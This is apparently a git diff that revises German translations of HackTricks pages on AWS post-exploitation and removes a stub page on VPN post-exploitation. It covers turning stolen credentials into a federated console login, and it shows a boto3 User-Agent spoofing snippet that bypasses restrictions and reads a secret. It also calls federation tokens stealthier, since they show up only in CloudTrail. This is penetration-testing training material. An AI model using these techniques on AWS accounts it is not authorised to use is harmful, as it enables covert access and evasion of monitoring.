+Beachten Sie, dass der user/role die Berechtigung **`sts:GetFederationToken`** besitzen muss.
 
 #### Benutzerdefiniertes Skript
 
-Das folgende Skript verwendet das Standard-Profil und einen Standard-AWS-Standort (nicht gov und nicht cn), um Ihnen eine signierte URL zu geben, die Sie zur Anmeldung in der Webkonsole verwenden können:
+Das folgende Skript verwendet das default profile und eine Standard-AWS-Region (nicht gov und nicht cn), um Ihnen eine signierte URL zu geben, die Sie zur Anmeldung in der web console verwenden können:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -54,7 +55,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
 ```
 #### aws_consoler
 
-Du kannst mit [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) einen **Link zur Web-Konsole generieren**.
+Sie können **einen Link zur Webkonsole generieren** mit [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
 ```bash
 cd /tmp
 python3 -m venv env
@@ -63,22 +64,22 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat, oder stellen Sie eine Rolle zum Übernehmen bereit.
+> Stellen Sie sicher, dass der IAM-Benutzer die Berechtigung `sts:GetFederationToken` hat oder stellen Sie eine Rolle bereit, die übernommen werden kann.
 
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) ist ein Tool, um AWS-Zugangsdaten in einer Entwicklungsumgebung sicher zu speichern und darauf zuzugreifen.
+[**aws-vault**](https://github.com/99designs/aws-vault) ist ein Tool, um AWS-Anmeldeinformationen in einer Entwicklungsumgebung sicher zu speichern und darauf zuzugreifen.
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 > [!NOTE]
-> Sie können auch **aws-vault** verwenden, um eine **Browser-Konsolensitzung** zu erhalten
+> Du kannst auch **aws-vault** verwenden, um eine **Browser-Console-Session** zu erhalten
 
-### **Bypass User-Agent restrictions from Python**
+### **Bypass von User-Agent-Einschränkungen in Python**
 
-Wenn eine **Einschränkung besteht, bestimmte Aktionen basierend auf dem verwendeten User-Agent auszuführen** (z. B. die Nutzung der python boto3 library basierend auf dem User-Agent zu beschränken), ist es möglich, die vorherige Technik zu verwenden, um **über einen Browser eine Verbindung zur Webkonsole herzustellen**, oder Sie können direkt den **boto3 User-Agent** wie folgt ändern:
+Wenn es eine **Einschränkung gibt, bestimmte Aktionen basierend auf dem User-Agent auszuführen** (z. B. die Einschränkung der Nutzung der python boto3 library basierend auf dem User-Agent), ist es möglich, die vorherige Technik zu verwenden, um sich **über einen Browser mit der Web-Konsole zu verbinden**, oder du könntest direkt den **boto3 user-agent** ändern, indem du Folgendes tust:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -93,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
 ```
 ### **`sts:GetFederationToken`**
 
-Mit dieser Berechtigung ist es möglich, eine föderierte Identität für den ausführenden Benutzer zu erstellen, beschränkt auf die Berechtigungen, die dieser Benutzer hat.
+Mit dieser Berechtigung ist es möglich, eine federierte Identität für den Benutzer zu erstellen, der sie ausführt, beschränkt auf die Berechtigungen, die dieser Benutzer hat.
 ```bash
 aws sts get-federation-token --name <username>
 ```
-Das von sts:GetFederationToken zurückgegebene Token gehört zur föderierten Identität des aufrufenden Benutzers, hat jedoch eingeschränkte Berechtigungen. Selbst wenn der Benutzer Administratorrechte besitzt, können bestimmte Aktionen wie das Auflisten von IAM-Benutzern oder das Anhängen von Policies nicht über das föderierte Token ausgeführt werden.
+Das von sts:GetFederationToken zurückgegebene Token gehört zur föderierten Identität des aufrufenden Benutzers, jedoch mit eingeschränkten Berechtigungen. Selbst wenn der Benutzer Administratorrechte hat, können bestimmte Aktionen, wie z. B. das Auflisten von IAM users oder das Anhängen von policies, nicht über das föderierte Token ausgeführt werden.
 
-Außerdem ist diese Methode etwas unauffälliger, da der föderierte Benutzer nicht im AWS Portal erscheint; er kann nur über CloudTrail-Logs oder Überwachungstools beobachtet werden.
+Außerdem ist diese Methode etwas unauffälliger, da der föderierte Benutzer im AWS Portal nicht erscheint; er kann nur über CloudTrail logs oder monitoring tools beobachtet werden.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md

@@ -1,13 +0,0 @@
-# AWS - VPN Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-Für weitere Informationen:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}